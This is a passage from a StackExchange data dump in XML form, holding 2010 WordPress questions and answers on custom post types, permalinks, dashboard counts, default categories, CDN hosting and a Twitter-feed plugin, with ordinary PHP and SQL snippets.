true,&#xA;    //'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'scents' ),&#xA;  ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have another custom taxonomy of &quot;scents&quot; that I'd ideally like to have some kind of friendly url but I'm more open on this.  I'd like to maybe access a list of all scents by going to &lt;strong&gt;mysite.com/products/scents&lt;/strong&gt; but they don't have to be category specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help me?  I've been going crosseyed for hours.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2010-12-14T10:13:59.703" Title="Custom post types, taxonomies, and permalinks" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="3" FavoriteCount="13" />
  <row Id="5309" PostTypeId="2" ParentId="5308" CreationDate="2010-12-14T00:07:03.300" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure wp supports that structure out of the box - but you can very easily create your own rewrite rules to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out a previous answer here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5275/author-url-rewrite&quot;&gt;Author url rewrite&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newrules['author/([^/]+)/songs/?$'] = 'index.php?post_type=songs&amp;amp;author=$matches[1]';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newrules['products/([^/]+)/([^/]+)/?$'] = 'index.php?post_type=product_listing&amp;amp;product_cat=$matches[1]&amp;amp;name=$matches[2]';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the product_cat part here may be superfluous - I am not sure if it is needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add any rules you like and they will have priority over the inbuilt ones.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2010-12-14T00:07:03.300" CommentCount="1" />
  <row Id="5311" PostTypeId="2" ParentId="5244" CreationDate="2010-12-14T00:42:18.117" Score="0" ViewCount="" Body="&lt;p&gt;Apparently I needed to loop the function to set the variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- BEGIN CODE FOR PRODUCT AREA --&amp;gt;&#xA;   &amp;lt;?php $prod_cats = get_terms('product_cat');&#xA;   foreach ($prod_cats as $prod_cat) {&#xA;      $cat_name = $prod_cat-&amp;gt;name; ?&amp;gt;&#xA;        &amp;lt;div id=&quot;products&quot;&amp;gt;&#xA;        &amp;lt;!-- post begin --&amp;gt;&#xA;        &amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'product_listing', 'posts_per_page' =&amp;gt; 4, 'product_cat' =&amp;gt; $cat_name ) ); ?&amp;gt;&#xA;        &amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;product-tease&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;upper&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo catch_that_image() ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;?php the_excerpt('Read the rest of this entry &amp;amp;raquo;'); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;span class=&quot;btn-readon&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;Read On&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;br clear=&quot;all&quot; /&amp;gt;&#xA;        &amp;lt;!-- post end --&amp;gt;&#xA;        &amp;lt;br clear=&quot;all&quot; /&amp;gt;&#xA;          &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;          &amp;lt;?php rewind_posts(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;   &amp;lt;?php } // End foreach $prod_cats ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2010-12-14T00:42:18.117" />
  <row Id="5312" PostTypeId="2" ParentId="5305" CreationDate="2010-12-14T01:40:55.080" Score="0" ViewCount="" Body="&lt;p&gt;Either recreate it directly in the database by copying another one in and editing it, OR, why not check in your plugin files?  Just do a file search for the id=1 thing and see what you come up with, and then change that to your new default id #.  I always find it's easier to edit plugin and php files than mucking around in the database.&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2010-12-14T01:40:55.080" CommentCount="2" />
  <row Id="5313" PostTypeId="2" ParentId="5308" CreationDate="2010-12-14T01:50:16.987" Score="4" ViewCount="" Body="&lt;p&gt;Change &lt;code&gt;slug&lt;/code&gt; in your post type arguments to &lt;code&gt;products/%product_cat%&lt;/code&gt;, and &lt;code&gt;slug&lt;/code&gt; in your taxonomy arguments to just &lt;code&gt;products&lt;/code&gt;, then flush your rewrite rules. WordPress should now handle &lt;code&gt;/products/my-product-cat/post-name/&lt;/code&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now finally, we need to help WordPress a little with generating permalinks (out of the box, it won't recognise the permastruct tag &lt;code&gt;%product_cat%&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_post_type_link($link, $post)&#xA;{&#xA;    if ($post-&amp;gt;post_type != 'product_listing')&#xA;        return $link;&#xA;&#xA;    if ($cats = get_the_terms($post-&amp;gt;ID, 'product_cat'))&#xA;        $link = str_replace('%product_cat%', array_pop($cats)-&amp;gt;slug, $link);&#xA;    return $link;&#xA;}&#xA;add_filter('post_type_link', 'filter_post_type_link', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One thing to note, this will just grab the first product category for the post &lt;em&gt;ordered by name&lt;/em&gt;. If you're assigning multiple categories to a single product, I can easily change how it determines which one to use in the permalink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lemme know how you get on with this, and we can tackle the other issues!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-14T01:50:16.987" CommentCount="8" />
  <row Id="5314" PostTypeId="2" ParentId="5305" CreationDate="2010-12-14T01:53:02.087" Score="6" ViewCount="" Body="&lt;p&gt;Could your plugin not use &lt;code&gt;get_option('default_category')&lt;/code&gt;, which returns the ID of the default category?&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-14T01:53:02.087" CommentCount="1" />
  <row Id="5315" PostTypeId="2" ParentId="5302" CreationDate="2010-12-14T01:57:55.827" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The output of $_SERVER['SERVER_SOFTWARE'] is WebServerX&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That looks like your problem - check out this line in &lt;code&gt;wp-includes/vars.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Whether the server software is Apache or something else&#xA; * @global bool $is_apache&#xA; */&#xA;$is_apache = (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'LiteSpeed') !== false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think you'll need to override this variable manually, either in a plugin or your theme's &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $is_apache;&#xA;$is_apache = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Props to @John P Bloch:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The only time it'll automatically add 'index.php' to a permalink is if $is_apache returns false.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-14T01:57:55.827" CommentCount="2" />
  <row Id="5316" PostTypeId="2" ParentId="5300" CreationDate="2010-12-14T02:02:15.010" Score="2" ViewCount="" Body="&lt;p&gt;Is the migration down to the fact you're moving servers and/or domains? Or that your merging into another blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the former, you might be better off with a database dump (search and replace old domain with new one if that's changing too), then import into the new database (along with copying over the filesystem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's the latter, well, it's not going to be as easy. Let me know if it is, and we'll see what we can do :)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-14T02:02:15.010" CommentCount="1" />
  <row Id="5317" PostTypeId="2" ParentId="5289" CreationDate="2010-12-14T02:12:59.557" Score="4" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Plugin Name: Delete Non Authors&#xA; */&#xA;&#xA;function delete_non_authors()&#xA;{&#xA;    global $wpdb;&#xA;    $non_authors = $wpdb-&amp;gt;get_col(&#xA;        &quot;SELECT DISTINCT $wpdb-&amp;gt;users.ID FROM $wpdb-&amp;gt;users&#xA;        LEFT JOIN $wpdb-&amp;gt;posts ON $wpdb-&amp;gt;users.ID = $wpdb-&amp;gt;posts.post_author&#xA;        WHERE $wpdb-&amp;gt;posts.ID IS NULL&quot;&#xA;    );&#xA;&#xA;    foreach ($non_authors as $user_ID)&#xA;        wp_delete_user($user_ID);&#xA;}&#xA;register_activation_hook(__FILE__, 'delete_non_authors');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Drop this in a file, name it something like &lt;code&gt;delete-non-authors.php&lt;/code&gt;, upload it to your plugins folder, activate, and you're done! (You can then de-activate).&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-02-02T12:40:31.230" LastActivityDate="2011-02-02T12:40:31.230" CommentCount="3" />
  <row Id="5318" PostTypeId="1" AcceptedAnswerId="5320" CreationDate="2010-12-14T02:32:42.257" Score="3" ViewCount="457" Body="&lt;p&gt;The dashboard conveniently tells me how many posts, pages, and comments I have. I would like it to tell me how many articles, videos and cartoons I have too (three custom post types registered with my theme). How would I go about including these into the &lt;em&gt;&quot;Right Now&quot;&lt;/em&gt; panel on the dashboard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/f8LWg.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-12-15T00:17:30.270" Title="Adding Custom Post Type Counts to the Dashboard" Tags="&lt;custom-post-types&gt;&lt;dashboard&gt;&lt;stats&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="5319" PostTypeId="2" ParentId="5289" CreationDate="2010-12-14T03:11:52.940" Score="1" ViewCount="" Body="&lt;p&gt;The idea is we will get all authors who have some post, and delete user who not in that list!&#xA;If you're going to use SQL only, run this command on PHPMYADMIN:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM wp_users WHERE ID NOT IN (SELECT DISTINCT post_author FROM wp_posts)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're going to do in code use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$wpdb-&amp;gt;query(&quot;DELETE FROM {$wpdb-&amp;gt;users} WHERE ID NOT IN (SELECT DISTINCT post_author FROM {$wpdb-&amp;gt;posts})&#xA;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1969" LastActivityDate="2010-12-14T03:11:52.940" CommentCount="3" />
  <row Id="5320" PostTypeId="2" ParentId="5318" CreationDate="2010-12-14T03:19:08.547" Score="6" ViewCount="" Body="&lt;p&gt;Yes, there are several actions within that widget, including &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.3/wp-admin/includes/dashboard.php#L285&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;right_now_content_table_end&lt;/code&gt;&lt;/a&gt;. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_right_now() {&#xA;    $num_widgets = wp_count_posts( 'widget' );&#xA;&#xA;    $num = number_format_i18n( $num_widgets-&amp;gt;publish );&#xA;    $text = _n( 'Widget', 'Widgets', $num_widgets-&amp;gt;publish );&#xA;    if ( current_user_can( 'edit_pages' ) ) { &#xA;        $num = &quot;&amp;lt;a href='edit.php?post_type=widget'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;        $text = &quot;&amp;lt;a href='edit.php?post_type=widget'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;    }   &#xA;&#xA;    echo '&amp;lt;tr&amp;gt;';&#xA;    echo '&amp;lt;td class=&quot;first b b_pages&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;    echo '&amp;lt;td class=&quot;t pages&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;    echo '&amp;lt;/tr&amp;gt;';&#xA;}&#xA;add_action( 'right_now_content_table_end', 'my_right_now' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-12-14T03:19:08.547" CommentCount="1" />
  <row Id="5321" PostTypeId="2" ParentId="5305" CreationDate="2010-12-14T03:23:56.293" Score="2" ViewCount="" Body="&lt;p&gt;You need 3 steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.Creating  a term in wp_terms with ID is 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.Insert a term_taxanomy into wp_term_taxonomy with term_id is 1, and taxonomy must be category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.Insert a term_relationships into wp_term_relationships with object_id is 1 and term_taxonomy_id is 1&#xA;Run below code in PHPMYADMIN to re-create this category!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT wp_terms(term_id, `name`, slug) VALUES (1, 'Uncategorize', 'uncategorized');&#xA;INSERT wp_term_taxonomy(term_taxonomy_id, term_id, taxonomy, parent) VALUES (1, 1, 'category', 0);&#xA;INSERT wp_term_relationships(object_id, term_taxonomy_id, term_order) VALUES (1, 1, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1969" LastActivityDate="2010-12-14T03:23:56.293" CommentCount="2" />
  <row Id="5322" PostTypeId="1" CreationDate="2010-12-14T04:41:46.573" Score="0" ViewCount="1234" Body="&lt;p&gt;I am very new at all this and not a programmer. I want to know how to create member login section on the site allowing users to see data that is not visible to the public. I am not sure how to go about doing this, is there a widget that one may suggest that does not take a brain surgeon to make it work. I am using the Unite theme and the site I am trying to put together is at tmpfire.com. I would appreciate all the help I can get. &#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="1971" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-01-20T13:36:17.570" LastActivityDate="2011-02-05T17:54:53.377" Title="Create front end member login" Tags="&lt;login&gt;&lt;front-end&gt;" AnswerCount="4" CommentCount="5" />
  <row Id="5323" PostTypeId="2" ParentId="5250" CreationDate="2010-12-14T04:49:22.440" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure if this is exactly what you're looking for, but it was working for me to grab different post from different taxonomies and doing stuff with them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'YOUR_POST_TYPE_NAME', 'posts_per_page' =&amp;gt; 4 ) ); ?&amp;gt;&#xA;&amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;some-post-class&quot;&amp;gt;&#xA;do something here&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;?php rewind_posts(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using that I was able use that however many times I needed to run though my custom post types.  I ended up going a slightly different route, by adding a foreach loop around the outside and running thru each of my taxonomies to set a variable dynamically.  You can see my post at: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5244/dynamic-variable-for-custom-taxonomy-in-loop&quot;&gt;Dynamic variable for custom taxonomy in loop?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2010-12-14T04:49:22.440" />
  <row Id="5324" PostTypeId="1" AcceptedAnswerId="5339" CreationDate="2010-12-14T04:50:14.280" Score="1" ViewCount="338" Body="&lt;p&gt;I have a site that I'm having so much trouble to try to sort the order of a list of Pages based on their tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've build this site over a year ago, with wordpress at the time there isn't any tag support for Page, so I used the plugin called tags4page. And I believe they still don't have tag support for pages ? Anyhow, my problem is if you go this page &lt;a href=&quot;http://www.patentable.com/index.php/lawyers/&quot; rel=&quot;nofollow&quot;&gt;http://www.patentable.com/index.php/lawyers/&lt;/a&gt; the list of Lawyers are in the right order. I can do this with wordpress build in order by giving each page a different weight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the &lt;strong&gt;problem is&lt;/strong&gt; if you try to sort the list of Lawyers by selecting the drop down manual it will return a list of lawyers that are belong to this tag that you have selected. &lt;strong&gt;PROBLEM&lt;/strong&gt; is the order are in &lt;strong&gt;reversed order&lt;/strong&gt; for the lawyers. Is there any way to fix this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now my code is simple, basically is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* If this is a tag archive */ if( is_tag() ) { ?&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Lawyers in &amp;lt;i&amp;gt;&amp;lt;?php single_tag_title(); ?&amp;gt;&amp;lt;/i&amp;gt; Practice Area:&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA; &amp;lt;li&amp;gt;&#xA; &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA; &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; /* rewind or continue if all posts have been fetched */ ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="283" LastActivityDate="2010-12-14T12:33:48.023" Title="Sort list of Wordpress Page under tag when is_tag() called" Tags="&lt;tags&gt;&lt;sort&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="5325" PostTypeId="1" AcceptedAnswerId="8510" CreationDate="2010-12-14T04:57:39.660" Score="2" ViewCount="188" Body="&lt;p&gt;My girlfriend has a very popular blog, but we are growing beyond current bandwidth limit (1TB). Adsense doesn't pay enough for an expensive CDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What recommendations can you make about image hosting. Preferably a plugin, or something that can easily be implemented.&lt;/p&gt;&#xA;" OwnerUserId="474" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-02-03T21:34:39.103" LastActivityDate="2011-02-04T08:48:01.643" Title="Best image hosting service" Tags="&lt;media&gt;&lt;image&gt;&lt;hosting&gt;&lt;cdn&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="5326" PostTypeId="1" AcceptedAnswerId="5354" CreationDate="2010-12-14T05:03:37.083" Score="0" ViewCount="139" Body="&lt;p&gt;I am developing a site that will need to have a slider with 4-8 images, but only on certain page-types. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These pages must be editable and the sliders must be able to be updated whenever I'd like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can easily do the slider and the page theme, it's just the dynamic slider area that is getting me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been theming wordpress for a long time but have never run into this situation, it's kicking my butt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciate, thank you for your time and effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt; I have the individual templates for the pages. And have looked into the conditional tags which will help for sure. I'm building this for a client who is new to Wordpress so I want to make the process very easy for them. They need to be able to post these slides themselves.&lt;/p&gt;&#xA;" OwnerUserId="1972" LastEditorUserId="1972" LastEditorDisplayName="" LastEditDate="2010-12-14T15:32:04.717" LastActivityDate="2010-12-14T16:08:27.983" Title="Custom Slider Per Page created" Tags="&lt;3.0&gt;&lt;custom-post-types&gt;&lt;php&gt;&lt;plugins&gt;&lt;customization&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="5327" PostTypeId="2" ParentId="5300" CreationDate="2010-12-14T05:05:29.853" Score="1" ViewCount="" Body="&lt;p&gt;I had to do something slightly similar, but with just two blogs into a single new blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the WordPress Export file to import all the data into the new blog. That went fairly smoothly. Naturally the images and stuff are all messed up...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both my blogs happened to have the WP uploads folder organized by date. I grabbed both folders and merged them into one. I fortunately didn't run into any duplicated file names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URLs were still messed up within the post content. I used the Search Regex to rewrite the urls to the new domain and server path. It was tedious, but I got it done after a few hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-regex/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search-regex/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2010-12-14T05:05:29.853" CommentCount="2" />
  <row Id="5328" PostTypeId="2" ParentId="5286" CreationDate="2010-12-14T05:09:19.180" Score="0" ViewCount="" Body="&lt;p&gt;W3 Total Cache is an awesome plugin (I use it), but if it is having issues or is way over your head, give WP Super Cache a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest version of WP Super Cache is quite easy to use and has a very simple interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should only take a few minutes to setup. There shouldn't be any negative impact to general WordPress functions. If you have some odd/unique/custom plugins, there might be some rare issues with caching.&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2010-12-14T05:09:19.180" />
  <row Id="5329" PostTypeId="2" ParentId="5325" CreationDate="2010-12-14T05:10:31.593" Score="0" ViewCount="" Body="&lt;p&gt;I've used IMGUR plugin before and it worked without a hitch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wp.am/imgur/&quot; rel=&quot;nofollow&quot;&gt;http://wp.am/imgur/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1972" LastActivityDate="2010-12-14T05:10:31.593" CommentCount="1" />
  <row Id="5330" PostTypeId="2" ParentId="5325" CreationDate="2010-12-14T05:14:15.530" Score="0" ViewCount="" Body="&lt;p&gt;If you're looking to go a more budget route, you can use Amazon S3 (storage) with Amazon CloudFront (CDN). New subscribers get 5 GB/month of free storage for a year. With Amazon, you pay for only the amount of bandwidth you use. Typically 15 cents/GB (depending on service and location). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple that with the W3 Total Cache plugin and it should be a relatively simple thing to setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or &lt;a href=&quot;http://www.maxcdn.com/&quot; rel=&quot;nofollow&quot;&gt;MaxCDN&lt;/a&gt; is currently offering 1 TB of bandwidth for $39.95/month (typically $99).&lt;/p&gt;&#xA;" OwnerUserId="1968" LastActivityDate="2010-12-14T05:14:15.530" CommentCount="2" />
  <row Id="5331" PostTypeId="1" AcceptedAnswerId="5344" CreationDate="2010-12-14T05:40:05.147" Score="0" ViewCount="135" Body="&lt;p&gt;i have a function in my plugin &lt;code&gt;append_the_content($content)&lt;/code&gt; this is used to display my function inside the post, but it is coming before the post, i want to make it after the post, for this i tried this code, but then too its not coming&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function parse_twitter_feed($feed, $prefix, $tweetprefix, $tweetsuffix, $suffix) {&#xA;  $feed = str_replace(&quot;&amp;amp;lt;&quot;, &quot;&amp;lt;&quot;, $feed);&#xA;  $feed = str_replace(&quot;&amp;amp;gt;&quot;, &quot;&amp;gt;&quot;, $feed);&#xA;  $clean = explode(&quot;&amp;lt;content type=\&quot;html\&quot;&amp;gt;&quot;, $feed);&#xA;&#xA;  $amount = count($clean) - 1;&#xA;&#xA;  echo $prefix;&#xA;&#xA;  for ($i = 1; $i &amp;lt;= $amount; $i++) {&#xA;    $cleaner = explode(&quot;&amp;lt;/content&amp;gt;&quot;, $clean[$i]);&#xA;    echo $tweetprefix;&#xA;    echo $cleaner[0];&#xA;    echo $tweetsuffix;&#xA;  }&#xA;&#xA;  echo $suffix;&#xA;}&#xA;&#xA;function the_twitter_feed($username) {&#xA;  // $username = &quot;Mba_&quot;; // Your twitter username.&#xA;  $limit = &quot;5&quot;; // Number of tweets to fetch.&#xA;&#xA;  /* These prefixes and suffixes will display before and after the entire block of tweets. */&#xA;  $prefix = &quot;&quot;; // Prefix - some text you want displayed before all your tweets.&#xA;  $suffix = &quot;&quot;; // Suffix - some text you want displayed after all your tweets.&#xA;  $tweetprefix = &quot;&amp;lt;b&amp;gt;&quot;.$username.&quot;: &amp;lt;/b&amp;gt; &quot;; // Tweet Prefix - some text you want displayed before each tweet.&#xA;  $tweetsuffix = &quot;&amp;lt;br&amp;gt;&quot;; // Tweet Suffix - some text you want displayed after each tweet.&#xA;&#xA;  $feed = &quot;http://search.twitter.com/search.atom?q=from:&quot; . $username . &quot;&amp;amp;rpp=&quot; . $limit;&#xA;&#xA;  $twitterFeed = get_transient($feed);&#xA;  if (!$twitterFeed) {&#xA;    $twitterFeed = wp_remote_fopen($feed);&#xA;    set_transient($feed, $twitterFeed, 3600); // cache for an hour&#xA;  }&#xA;  if ($twitterFeed)&#xA;    parse_twitter_feed($twitterFeed, $prefix, $tweetprefix, $tweetsuffix, $suffix);&#xA;}&#xA;&#xA;function append_the_content($content) {&#xA;    if(get_option('tweetID')!=null){&#xA;    $content .= &quot;&amp;lt;div class='post'&amp;gt;&amp;lt;p&amp;gt;&quot;.the_twitter_feed(get_option('tweetID')).&quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;       echo $content;&#xA;      }&#xA;       else{&#xA;       return $content;&#xA;       }&#xA;}&#xA;&#xA;add_filter('the_content', 'append_the_content');&#xA;&#xA;add_action('admin_menu','tweet_fetch');&#xA;&#xA;function tweet_fetch(){&#xA;add_options_page('Tweet','Tweet', 8, 'tweet', 'tweet_fetcher');&#xA;}&#xA;function tweet_fetcher(){&#xA;?&amp;gt;&#xA;&amp;lt;h2&amp;gt;Tweet Fetcher options&amp;lt;/h2&amp;gt;&#xA;&amp;lt;table&amp;gt;&#xA;&amp;lt;form method='post' action='options.php' style='margin:0 20px;'&amp;gt;&#xA;&amp;lt;?php wp_nonce_field('update-options'); ?&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Twitter UserID:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;tweetID&quot;  value=&quot;&amp;lt;?php echo get_option('tweetID'); ?&amp;gt;&quot; &amp;lt;?php echo get_option('tweetID'); ?&amp;gt; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;input type='hidden' name='action' value='update'/&amp;gt;&#xA;&amp;lt;input type='hidden' name='page_options' value='tweetID'/&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;p class='submit'&amp;gt;&#xA;&amp;lt;input type='submit' name='Submit' value='Update Options &amp;amp;raquo;'/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can i make it after the post???&lt;/p&gt;&#xA;" 